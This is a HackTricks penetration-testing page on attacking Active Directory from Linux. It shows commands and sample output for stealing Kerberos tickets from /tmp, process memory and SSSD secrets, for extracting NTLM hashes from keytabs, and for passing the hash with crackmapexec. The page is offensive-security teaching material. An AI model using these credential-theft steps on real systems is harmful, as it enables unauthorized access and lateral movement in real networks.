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hacktricks/linux-hardening/privilege-escalation/linux-active-directory.md
carlospolop f0e09e3f54 social
2023-03-06 00:16:20 +01:00

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# Linux Active Directory
<details>
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</details>
A linux machine can also be present inside an Active Directory environment.
A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine.
## Enumeration
### AD enumeration from linux
If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD.
You can also check the following page to learn **other ways to enumerate AD from linux**:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
### FreeIPA
It is an open source **alternative** to Microsoft Windows **Active** **Directory**, primarily used as an integrated management solution for **Unix** environments. Learn more about it in:
{% content-ref url="../freeipa-pentesting.md" %}
[freeipa-pentesting.md](../freeipa-pentesting.md)
{% endcontent-ref %}
## Playing with tickets
### Pass The Ticket
In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack:
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
{% endcontent-ref %}
### CCACHE ticket reuse from /tmp
> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
```bash
ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115
export KRB5CCNAME=/tmp/krb5cc_1569901115
```
### CCACHE ticket reuse from keyring
Processes may **store kerberos tickets inside their memory**, this tool can be useful to extract those tickets (ptrace protection should be disabled in the machine `/proc/sys/kernel/yama/ptrace_scope`): [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
```bash
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
```
### CCACHE ticket reuse from SSSD KCM
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.
Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus.
### CCACHE ticket reuse from keytab
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
### Extract accounts from /etc/krb5.keytab
The service keys used by services that run as root are usually stored in the keytab file **`/etc/krb5.keytab`**. This service key is the equivalent of the service's password, and must be kept secure.
Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13\&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual **NT Hash of the user**.
```
klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
KVNO: 25
Key type: 23
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
Time stamp: Oct 07, 2019 09:12:02
[...]
```
On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.
```bash
python3 keytabextract.py krb5.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
REALM : DOMAIN
SERVICE PRINCIPAL : host/computer.domain
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```
On **macOS** you can use [**`bifrost`**](https://github.com/its-a-feature/bifrost).
```bash
./bifrost -action dump -source keytab -path test
```
Connect to the machine using the account and the hash with CME.
```bash
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
```
## References
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<details>
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
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